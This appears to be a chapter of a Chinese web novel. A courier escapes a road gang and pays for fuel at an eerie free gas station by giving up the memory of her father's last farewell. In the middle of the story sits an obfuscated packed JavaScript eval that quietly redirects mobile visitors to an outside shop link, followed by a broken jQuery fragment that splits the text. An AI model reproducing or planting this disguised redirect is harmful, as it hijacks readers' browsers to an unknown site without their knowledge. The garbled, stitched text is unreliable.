姜迟踩了一脚刹车，车速降下来，但没有停。
光头蹲在路牌底下，看见她的车，站起身，拍了拍裤子上的土。他身后还站着两个人，一个瘦高个，就是昨天在修理铺门口那个，还有一个生面孔，壮得像堵墙，抱着胳膊靠在路牌上。
三个人把路占了一半。
姜迟的车在离他们十米的地方停住。她没有下车，按了一声喇叭。
“让开。”
光头叼着烟走过来，趴在车窗上：“妹子，这么早，去哪啊？”
“回站。”
“回站不急。”光头把烟从嘴上拿下来，冲车厢努了努嘴，“听说你昨晚上青岭拉了个好东西。哥几个在这等你一宿了，不看看货，心里痒痒。”
“你听谁说的？”
“站里就没有不透风的墙。”光头笑了，“代收了个活货，姜家的独苗。妹子，你现在是站里的名人了，知道吗？你知道那东西值多少积分吗？”
“不知道，也不卖。”
“卖不卖，不是你说了算。”光头的笑收了收，“哥几个也不是不讲理。这样，货我们拿走，给你留三成，够你跑半年单。你要是不识相。”
他回头看了看那个壮汉。
壮汉直起身，朝车走过来，一步，车前的路面就震一下。
“我这车里坐的是人。”姜迟说，“黑车队抢人货，不怕被销证？站里告示写着呢，检举黑车队，五个积分。”
“检举？”光头嗤了一声，“妹子，你检举一个试试。站里哪块砖缝里没有我们的人？再说了，谁看见了？路上车来车往，出个事故，多正常。”
这话他昨天在修理铺门口就说过。一样的词，一样的调。
姜迟的手放在档把上，眼睛飞快地扫了一圈。三个人，正面堵着，路两边是野地，跑不了。收费站还有一公里，跑回去？
她把油门踩了下去。
车朝光头直冲过去。光头骂了一声，往旁边蹿出去。车擦着他的胳膊冲过去，身后传来吼声，紧接着，一辆黑色的越野车从路旁的沟里冲了上来，斜插着别向她的车头。
姜迟猛打方向，车尾甩出去，擦着越野车的车头滑过去，车身晃了两下，她死死把住方向盘，车没有翻，一头扎向路边的野地。
越野车在后面紧咬。光头他们上了另一辆皮卡，追在后面。
“阴魂不散。”姜迟咬着牙。
野地跑不快，坑洼多，车颠得厉害，后座上熟睡的孩子被颠醒了，发出一声哼唧。
“迟迟？”孩子的声音还带着睡意，“怎么了？”
“没事。”姜迟说，“睡你的。”
前方出现了一片光。
路的尽头，或者说是野地的边缘，亮着一圈昏黄的灯。灯底下有一栋小平房，平房前面立着一块牌子，牌子上是个红底白字的招牌：
【平安加油站】
【本站油价：免费】
免费。
姜迟来不及琢磨这事靠谱不靠谱，身后的越野车已经追到了五十米内。她朝着加油站冲过去，车碾上加油站的空地，在加油机旁边刹停。
越野车追到加油站边缘，停住了。
就停在灯光照不到的那一线，车头对着她，不动了。
姜迟从后视镜里盯着它。越野车里的人没有下来，就停在那，等。
“欢迎光临。”
车窗边响起一个声音。姜迟回头，一个年轻人站在车门外，穿着一身干净的工装，戴着白手套，脸上挂着标准化的笑。
“加油吗？”年轻人问，“本站免费。”
“你们这油，免费？”
“免费。”年轻人说，“不过女士，您有一笔挂账，按规矩，挂账的客人加油，油不收钱，运费现结。”
“运费多少？”
“看您这一单挂了多少。”年轻人从怀里掏出个本子，翻开，“我查一下。”
他翻了几页，抬起头，笑容不变：“姜氏火债，半笔。您上一单是代收，挂账起算。第一笔运费，今天结。”
“多少钱？”
“不收钱。”年轻人说，“收别的。”
他把本子递过来。姜迟接过来一看，本子上有一行字，是她刚才那笔代收的订单号，订单底下挂着一行小字：
【本单运费：一段记忆。】
【内容：姜氏父女告别（残次品）。】
【备注：残次品的意思是，这段记忆本来也快没了，路不收好的，只收碎的。】
姜迟捏着本子的手指收紧了。
她爸消散前说的那些话，还在她耳朵里。别去终点站。三代送的同一单货。就是你自己。还有最后那声隔着水一样的嘱咐。
“可以拒付吗？”她问。
“可以。”年轻人说，“拒付的话，这一笔滚进本金，利滚利。下次收两段。路不收钱，路只收您有的。”
“我要是赖账呢？”
“赖账的，路就从您身上拿。”年轻人的笑容还是那么标准，“拿多少，拿什么，路看心情。”
姜迟坐在驾驶座上，半天没说话。
身后，那个孩子不知什么时候爬到了隔断的缝隙处，从后面看着她的后脑勺。
“迟迟。”孩子小声说，“他要你签什么？”
“没什么。”姜迟说，“睡你的。”
她拿起年轻人递过来的笔。
笔很旧，铁的，握在手里冰凉。她翻到签名那一页，纸上已经打印好了一行字，是一段描述。
【记忆内容：父亲消散前最后一面。画面，声音，全部。】
姜迟看着那行字，喉咙发堵。
这是她最后一点东西了。这个人死了十九年，她今天早上才见到，见面不到半个钟头，现在连这半个钟头都要收走。
“签了之后，”她问，“我还认得他吗？”
“认得。”年轻人说，“人还在您的证里，姜家三代的名录还在。您记得有过这个人，只是不记得他最后说了什么，长什么样。”
“那不叫认得。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947449|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“路上都这么叫。”
姜迟低下头，在本子上签了名。
笔尖划过纸面的时候，她的太阳穴一阵刺痛，像有一根很细的针，从眉心扎进去，在里面搅了一下。
疼痛过去之后，她坐在那，忽然觉得心里空了一块。
她知道那是重要的东西，知道那东西刚被拿走了，可她想不起来被拿走的是什么。她记得姜家老宅，记得代收，记得有个烧伤的亲人，可那个人的脸，那个人的声音，他最后说的话，全没了，像被水冲过的沙滩，干干净净。
“欢迎下次光临。”
年轻人收回本子，从加油机里拔出油枪，插进她的油箱。油表指针跳了跳，很快回满。
姜迟看着他收起油枪，又递出来一张小票。
“您的发票。”
她接过来。小票上打印着明细：
【商品：姜氏父女告别（残次品）】
【数量：一段】
【单价：无价】
【实收：一段】
【找零：无】
【欢迎下次光临。】
姜迟把小票折起来，揣进兜里，跟那张烟盒纸收据放在一起。
她发动车，从加油站的另一头开出去。前方的路笔直地通向收费站，晨光里能看见收费站的大门和门口的牌子。
后视镜里，那辆越野车还停在加油站边缘的光影线上，没有跟上来。
开出几百米，后座传来窸窸窣窣的声音。孩子爬到前排座位的靠背后面，探出头看她。
“迟迟。”孩子看着她的脸，忽然说，“你怎么哭了？”
姜迟抬手抹了一把脸。
一手的水。
她不知道自己在哭。她甚至想不起来自己为什么哭。她只是觉得心里那块空掉的地方，一直在往下漏风，漏得她整个人发冷。
“没事。”她说，“风大。”
孩子看了她一会儿，从后面伸出小手，替她擦了擦脸。那只小手很凉，擦过的地方，风好像真的小了点。
“别难过。”孩子说，“忘掉的东西，不一定是丢了。有的东西是先走一步，在前面等你。你往前开，就能追上。”
姜迟从后视镜里看着那张陌生的、清秀的、跟她有三分像的脸。
“这话谁教你的？”
“不知道。”孩子缩回手，眼睛弯了弯，“大概是，以前有人也这么跟我说过。”
车开到收费站大门口，栏杆抬起来，亭子里的喇叭懒洋洋地响：
“回来啦？进去吧，登记楼找你，挂账的手续得办。”
姜迟把车开进停车位，没有马上下车。
她坐在驾驶座上，把兜里那张发票又掏出来，摊开，看了一遍。
一段记忆，换一箱油。
她把发票重新折好，塞进证件夹层里。这单买卖的凭证，她得留着。往后她还要加很多箱油，每箱油的账，她都要记清楚。
欠路的，她一笔一笔还。
路欠她的，她也一笔一笔讨。